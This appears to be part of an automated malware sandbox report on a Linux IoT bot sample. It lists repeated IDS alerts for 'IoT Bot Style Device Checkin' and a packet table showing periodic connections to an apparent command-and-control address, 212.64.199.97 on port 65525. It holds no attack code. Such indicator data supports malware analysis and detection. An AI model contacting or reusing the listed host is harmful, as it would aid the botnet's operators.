2025-01-03T08:18:02.824340+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53120	212.64.199.97	65525	TCP
2025-01-03T08:18:04.624254+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53122	212.64.199.97	65525	TCP
2025-01-03T08:18:04.829480+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53122	212.64.199.97	65525	TCP
2025-01-03T08:18:06.617218+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53124	212.64.199.97	65525	TCP
2025-01-03T08:18:20.294988+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53126	212.64.199.97	65525	TCP
2025-01-03T08:18:22.097671+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53128	212.64.199.97	65525	TCP
2025-01-03T08:18:23.878961+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53130	212.64.199.97	65525	TCP
2025-01-03T08:18:25.662587+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53132	212.64.199.97	65525	TCP
2025-01-03T08:18:27.418837+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53134	212.64.199.97	65525	TCP
2025-01-03T08:18:29.184975+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53136	212.64.199.97	65525	TCP
2025-01-03T08:18:30.970439+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53138	212.64.199.97	65525	TCP
2025-01-03T08:18:32.750857+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53140	212.64.199.97	65525	TCP
2025-01-03T08:18:34.529519+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53142	212.64.199.97	65525	TCP
2025-01-03T08:18:36.295003+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53144	212.64.199.97	65525	TCP
2025-01-03T08:18:38.080297+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53146	212.64.199.97	65525	TCP
2025-01-03T08:18:39.859031+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53148	212.64.199.97	65525	TCP
2025-01-03T08:18:41.649790+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53150	212.64.199.97	65525	TCP
2025-01-03T08:18:43.445621+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53152	212.64.199.97	65525	TCP
2025-01-03T08:18:45.258639+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53154	212.64.199.97	65525	TCP
2025-01-03T08:18:47.031527+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53156	212.64.199.97	65525	TCP
2025-01-03T08:18:48.795630+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53158	212.64.199.97	65525	TCP
2025-01-03T08:18:50.592214+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53160	212.64.199.97	65525	TCP
2025-01-03T08:18:52.382889+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53162	212.64.199.97	65525	TCP
2025-01-03T08:18:54.155000+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53164	212.64.199.97	65525	TCP
2025-01-03T08:18:55.920047+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53166	212.64.199.97	65525	TCP
2025-01-03T08:18:57.687455+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53168	212.64.199.97	65525	TCP
2025-01-03T08:18:59.457580+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53170	212.64.199.97	65525	TCP
2025-01-03T08:19:01.240877+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53172	212.64.199.97	65525	TCP
2025-01-03T08:19:03.020011+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53174	212.64.199.97	65525	TCP
2025-01-03T08:19:04.798810+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53176	212.64.199.97	65525	TCP
2025-01-03T08:19:06.584100+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53178	212.64.199.97	65525	TCP
2025-01-03T08:19:08.381817+0100	2848448	ETPRO MALWARE Possible ELF/Various IoT Bot Style Device Checkin (unknown)	1	192.168.2.23	53180	212.64.199.97	65525	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 08:15:35.044239998 CET	53012	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:35.049160004 CET	65525	53012	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:35.049211979 CET	53012	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:35.049834967 CET	53012	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:35.054616928 CET	65525	53012	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:36.613219976 CET	43928	443	192.168.2.23	91.189.91.42
Jan 3, 2025 08:15:36.824677944 CET	65525	53012	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:36.825089931 CET	53012	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:36.825508118 CET	53014	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:36.829938889 CET	65525	53012	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:36.830287933 CET	65525	53014	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:36.830355883 CET	53014	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:36.830444098 CET	53014	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:36.835179090 CET	65525	53014	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:38.627568960 CET	65525	53014	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:38.627862930 CET	53014	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:38.628432989 CET	53016	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:38.632774115 CET	65525	53014	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:38.633294106 CET	65525	53016	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:38.633352995 CET	53016	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:38.633398056 CET	53016	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:38.638192892 CET	65525	53016	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:40.414278030 CET	65525	53016	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:40.414449930 CET	53016	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:40.414958954 CET	53018	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:40.419338942 CET	65525	53016	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:40.419812918 CET	65525	53018	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:40.419862032 CET	53018	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:40.419884920 CET	53018	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:40.424695969 CET	65525	53018	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:41.988512039 CET	42836	443	192.168.2.23	91.189.91.43
Jan 3, 2025 08:15:42.197452068 CET	65525	53018	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:42.197796106 CET	53018	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:42.198340893 CET	53020	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:42.202593088 CET	65525	53018	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:42.203193903 CET	65525	53020	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:42.203234911 CET	53020	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:42.203267097 CET	53020	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:42.208034992 CET	65525	53020	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:43.524203062 CET	42516	80	192.168.2.23	109.202.202.202
Jan 3, 2025 08:15:43.979813099 CET	65525	53020	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:43.980083942 CET	53020	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:43.980114937 CET	53020	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:43.980699062 CET	53022	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:43.984884977 CET	65525	53020	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:43.985457897 CET	65525	53022	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:43.985501051 CET	53022	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:43.985517979 CET	53022	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:43.990371943 CET	65525	53022	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:45.769279003 CET	65525	53022	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:45.769428015 CET	53022	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:45.769937038 CET	53024	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:45.774316072 CET	65525	53022	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:45.774751902 CET	65525	53024	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:45.774825096 CET	53024	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:45.774838924 CET	53024	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:45.779603958 CET	65525	53024	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:47.577269077 CET	65525	53024	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:47.577495098 CET	53024	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:47.578156948 CET	53026	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:47.582285881 CET	65525	53024	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:47.583092928 CET	65525	53026	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:47.583235979 CET	53026	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:47.583285093 CET	53026	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:47.588201046 CET	65525	53026	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:49.353189945 CET	65525	53026	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:49.353445053 CET	53026	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:49.354106903 CET	53028	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:49.358302116 CET	65525	53026	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:49.358881950 CET	65525	53028	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:49.358967066 CET	53028	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:49.358980894 CET	53028	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:49.363785982 CET	65525	53028	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:51.158418894 CET	65525	53028	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:51.158693075 CET	53028	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:51.159300089 CET	53030	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:51.163542986 CET	65525	53028	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:51.164125919 CET	65525	53030	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:51.164201975 CET	53030	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:51.164228916 CET	53030	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:15:51.169014931 CET	65525	53030	212.64.199.97	192.168.2.23
Jan 3, 2025 08:15:56.578583002 CET	43928	443	192.168.2.23	91.189.91.42
Jan 3, 2025 08:16:04.796701908 CET	65525	53030	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:04.796886921 CET	53030	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:04.797461987 CET	53032	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:04.801649094 CET	65525	53030	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:04.802264929 CET	65525	53032	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:04.802325010 CET	53032	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:04.802356958 CET	53032	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:04.807138920 CET	65525	53032	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:06.636732101 CET	65525	53032	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:06.637012959 CET	53032	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:06.637630939 CET	53034	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:06.641875029 CET	65525	53032	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:06.642447948 CET	65525	53034	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:06.642510891 CET	53034	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:06.642561913 CET	53034	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:06.647335052 CET	65525	53034	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:08.475893021 CET	65525	53034	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:08.476181984 CET	53034	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:08.477009058 CET	53036	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:08.481014967 CET	65525	53034	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:08.481931925 CET	65525	53036	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:08.482022047 CET	53036	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:08.482076883 CET	53036	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:08.486839056 CET	65525	53036	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:08.864867926 CET	42836	443	192.168.2.23	91.189.91.43
Jan 3, 2025 08:16:10.262600899 CET	65525	53036	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:10.262783051 CET	53036	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:10.263437986 CET	53038	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:10.267713070 CET	65525	53036	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:10.268280983 CET	65525	53038	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:10.268342018 CET	53038	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:10.268373013 CET	53038	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:10.273118019 CET	65525	53038	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:12.060529947 CET	65525	53038	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:12.060964108 CET	53038	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:12.061785936 CET	53040	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:12.065856934 CET	65525	53038	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:12.066656113 CET	65525	53040	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:12.066726923 CET	53040	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:12.066785097 CET	53040	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:12.071561098 CET	65525	53040	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:12.960419893 CET	42516	80	192.168.2.23	109.202.202.202
Jan 3, 2025 08:16:13.857947111 CET	65525	53040	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:13.858289003 CET	53040	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:13.858953953 CET	53042	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:13.863157988 CET	65525	53040	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:13.863745928 CET	65525	53042	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:13.863807917 CET	53042	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:13.863864899 CET	53042	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:13.868633986 CET	65525	53042	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:15.650446892 CET	65525	53042	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:15.650803089 CET	53042	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:15.651667118 CET	53044	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:15.655669928 CET	65525	53042	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:15.656415939 CET	65525	53044	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:15.656498909 CET	53044	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:15.656557083 CET	53044	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:15.661331892 CET	65525	53044	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:17.429828882 CET	65525	53044	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:17.430180073 CET	53044	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:17.431025982 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:17.436372042 CET	65525	53044	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:17.437398911 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:17.437462091 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:17.437525988 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:17.442893982 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:19.233792067 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:19.234050035 CET	53046	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:19.234751940 CET	53048	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:19.238908052 CET	65525	53046	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:19.239559889 CET	65525	53048	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:19.239625931 CET	53048	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:19.239701033 CET	53048	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:19.244538069 CET	65525	53048	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:21.039011955 CET	65525	53048	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:21.039145947 CET	53048	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:21.039665937 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:21.044066906 CET	65525	53048	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:21.044580936 CET	65525	53050	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:21.044626951 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:21.044651031 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:21.049480915 CET	65525	53050	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:22.822765112 CET	65525	53050	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:22.823024035 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:22.823108912 CET	53050	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:22.823888063 CET	53052	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:22.827974081 CET	65525	53050	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:22.828738928 CET	65525	53052	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:22.828787088 CET	53052	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:22.828804970 CET	53052	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:22.833580017 CET	65525	53052	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:24.605806112 CET	65525	53052	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:24.606285095 CET	53052	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:24.607043028 CET	53054	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:24.611124039 CET	65525	53052	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:24.611850977 CET	65525	53054	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:24.611923933 CET	53054	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:24.611995935 CET	53054	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:24.616734982 CET	65525	53054	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:26.379991055 CET	65525	53054	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:26.380213022 CET	53054	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:26.380955935 CET	53056	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:26.385103941 CET	65525	53054	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:26.385771990 CET	65525	53056	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:26.385862112 CET	53056	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:26.385937929 CET	53056	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:26.390749931 CET	65525	53056	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:28.171377897 CET	65525	53056	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:28.171637058 CET	53056	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:28.172441006 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:28.176489115 CET	65525	53056	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:28.177282095 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:28.177370071 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:28.177411079 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:28.182183027 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:29.963229895 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:29.963486910 CET	53058	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:29.964258909 CET	53060	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:29.968281031 CET	65525	53058	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:29.969055891 CET	65525	53060	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:29.969163895 CET	53060	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:29.969189882 CET	53060	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:29.973953009 CET	65525	53060	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:31.748646021 CET	65525	53060	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:31.749017000 CET	53060	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:31.749805927 CET	53062	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:31.753829956 CET	65525	53060	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:31.754558086 CET	65525	53062	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:31.754647970 CET	53062	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:31.754688978 CET	53062	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:31.759502888 CET	65525	53062	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:33.561531067 CET	65525	53062	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:33.561896086 CET	53062	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:33.562633991 CET	53064	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:33.566728115 CET	65525	53062	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:33.567380905 CET	65525	53064	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:33.567440987 CET	53064	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:33.567498922 CET	53064	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:33.572274923 CET	65525	53064	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:35.333080053 CET	65525	53064	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:35.333560944 CET	53064	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:35.334197044 CET	53066	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:35.338641882 CET	65525	53064	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:35.339297056 CET	65525	53066	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:35.339358091 CET	53066	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:35.339385986 CET	53066	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:35.344460964 CET	65525	53066	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:37.157279968 CET	65525	53066	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:37.157644033 CET	53066	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:37.158374071 CET	53068	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:37.162524939 CET	65525	53066	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:37.163187027 CET	65525	53068	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:37.163264990 CET	53068	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:37.163324118 CET	53068	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:37.168073893 CET	65525	53068	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:37.533039093 CET	43928	443	192.168.2.23	91.189.91.42
Jan 3, 2025 08:16:38.932385921 CET	65525	53068	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:38.932538033 CET	53068	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:38.933065891 CET	53070	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:38.937275887 CET	65525	53068	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:38.937851906 CET	65525	53070	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:38.937922001 CET	53070	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:38.937997103 CET	53070	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:38.942784071 CET	65525	53070	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:40.735045910 CET	65525	53070	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:40.735194921 CET	53070	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:40.735972881 CET	53072	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:40.740022898 CET	65525	53070	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:40.740772963 CET	65525	53072	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:40.740827084 CET	53072	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:40.740844965 CET	53072	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:40.745681047 CET	65525	53072	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:42.512445927 CET	65525	53072	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:42.512569904 CET	53072	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:42.513134003 CET	53074	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:42.517411947 CET	65525	53072	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:42.517971992 CET	65525	53074	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:42.518013954 CET	53074	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:42.518039942 CET	53074	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:42.522794008 CET	65525	53074	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:44.290066004 CET	65525	53074	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:44.290229082 CET	53074	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:44.290946007 CET	53076	65525	192.168.2.23	212.64.199.97
Jan 3, 2025 08:16:44.295137882 CET	65525	53074	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:44.295797110 CET	65525	53076	212.64.199.97	192.168.2.23
Jan 3, 2025 08:16:44.295841932 CET	53076	65525	192.168.2.23	212.64.199.97
